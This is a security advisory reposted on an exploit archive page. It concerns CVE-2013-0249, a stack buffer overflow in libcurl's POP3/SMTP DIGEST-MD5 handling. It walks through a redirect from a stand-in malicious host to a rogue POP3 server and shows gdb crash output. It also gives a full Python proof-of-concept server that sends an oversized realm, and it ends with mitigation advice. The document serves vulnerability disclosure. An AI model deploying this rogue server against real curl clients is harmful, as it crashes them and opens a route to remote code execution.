what you don't know can hurt you

cURL Buffer Overflow

cURL Buffer Overflow
Posted Feb 8, 2013
Authored by Volema

A remotely exploitable buffer overflow vulnerability was discovered in the libcurl POP3 and SMTP protocol handlers. Proper exploitation can allow for arbitrary code execution.

tags | exploit, overflow, arbitrary, code execution, protocol
advisories | CVE-2013-0249
MD5 | b76888af2053e1341bd99696355a0572

cURL Buffer Overflow

Change Mirror Download
cURL buffer overflow
Wed 06 February 2013

Volema found remotely exploitable buffer overflow vulnerability in libcurl POP3, SMTP protocol handlers which lead to code execution (RCE). When negotiating SASL DIGEST-MD5 authentication, the function Curl_sasl_create_digest_md5_message() uses the data provided from the server without doing the proper length checks and that data is then appended to a local fixed-size buffer on the stack.

Vendor notified, CVE-2013-0249 relased.

Attack Concept Outline

We have the permissions to send custom HTTP requests with curl. We send request to our http://evilserver.com/

GET / HTTP/1.0
Host: evilserver.com

server answers with

HTTP/1.0 302 Found
Location: pop3://x:x@evilserver.com/.

"smart" curl interpretes redirect and connects to evilserver.com port 110/TCP using POP3 proto. Server answers

+OK POP3 server ready

curl sends

CAPA

servers answers with DIGEST-MD5 only

+OK List of capabilities follows
SASL DIGEST-MD5
IMPLEMENTATION dumbydumb POP3 server

so, libcurl has to send

AUTH DIGEST-MD5

then server sends the payload

+ cmVhbG09IkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIixub25jZT0iT0E2TUc5dEVRR20yaGgiLHFvcD0iYXV0aCIsYWxnb3JpdGhtPW1kNS1zZXNzLGNoYXJzZXQ9dXRmLTg=

and overflow happens because of fixed realm buffer size

realm="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",nonce="OA6MG9tEQGm2hh",qop="auth",algorithm=md5-sess,charset=utf-8

how it looks in gdb

Program received signal SIGSEGV, Segmentation fault.
0x00007fd2b238298d in ?? () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) bt
#0 0x00007fd2b238298d in ?? () from /lib/x86_64-linux-gnu/libc.so.6
#1 0x00007fd2b2a5cc07 in Curl_sasl_create_digest_md5_message ()
from /home/kyprizel/test/curl-7.28.1/lib/.libs/libcurl.so.4
#2 0x4141414141414141 in ?? ()
...
#1469 0x4141414141414141 in ?? ()
#1470 0x656d616e72657375 in ?? ()
Cannot access memory at address 0x7fff63b8b000

Original exploit: pop3d.py.

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# curl pop3 CVE-2013-0249 by Volema/MSLC

import socket
import base64

host = "localhost"
port = 110

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(5)
sock, addr = s.accept()
sock.send('+OK POP3 server ready\n')
while True:
buf = sock.recv(1024)
print buf
if buf.find('USER') > -1:
sock.send('+OK\n')
if buf.find('PASS') > -1:
sock.send('-ERR 999\n')
if buf.find('CAPA') > -1:
resp = '+OK List of capabilities follows\n'
resp += 'SASL DIGEST-MD5\n'
resp += 'IMPLEMENTATION dumbydumb POP3 server\n'
resp += '.\n'
sock.send(resp)
if buf.find('QUIT') > -1:
sock.send('+OK')
break
if buf.find('AUTH') > -1:
realm = 'A'*128
payload = 'realm="%s",nonce="OA6MG9tEQGm2hh",qop="auth",algorithm=md5-sess,charset=utf-8' % realm
resp = '+ '+base64.b64encode(payload)+'\n'
print resp
sock.send(resp)
sock.close()


Mitigation

We recommend to disable protocols other than HTTP(S) in your application using options CURLOPT_PROTOCOLS and CURLOPT_REDIR_PROTOCOLS. libcurl version should be updated.

Login or Register to add favorites

File Archive:

July 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    13 Files
  • 2
    Jul 2nd
    12 Files
  • 3
    Jul 3rd
    1 Files
  • 4
    Jul 4th
    2 Files
  • 5
    Jul 5th
    34 Files
  • 6
    Jul 6th
    21 Files
  • 7
    Jul 7th
    21 Files
  • 8
    Jul 8th
    13 Files
  • 9
    Jul 9th
    6 Files
  • 10
    Jul 10th
    1 Files
  • 11
    Jul 11th
    3 Files
  • 12
    Jul 12th
    15 Files
  • 13
    Jul 13th
    19 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    15 Files
  • 16
    Jul 16th
    9 Files
  • 17
    Jul 17th
    2 Files
  • 18
    Jul 18th
    2 Files
  • 19
    Jul 19th
    19 Files
  • 20
    Jul 20th
    21 Files
  • 21
    Jul 21st
    53 Files
  • 22
    Jul 22nd
    14 Files
  • 23
    Jul 23rd
    14 Files
  • 24
    Jul 24th
    1 Files
  • 25
    Jul 25th
    1 Files
  • 26
    Jul 26th
    21 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close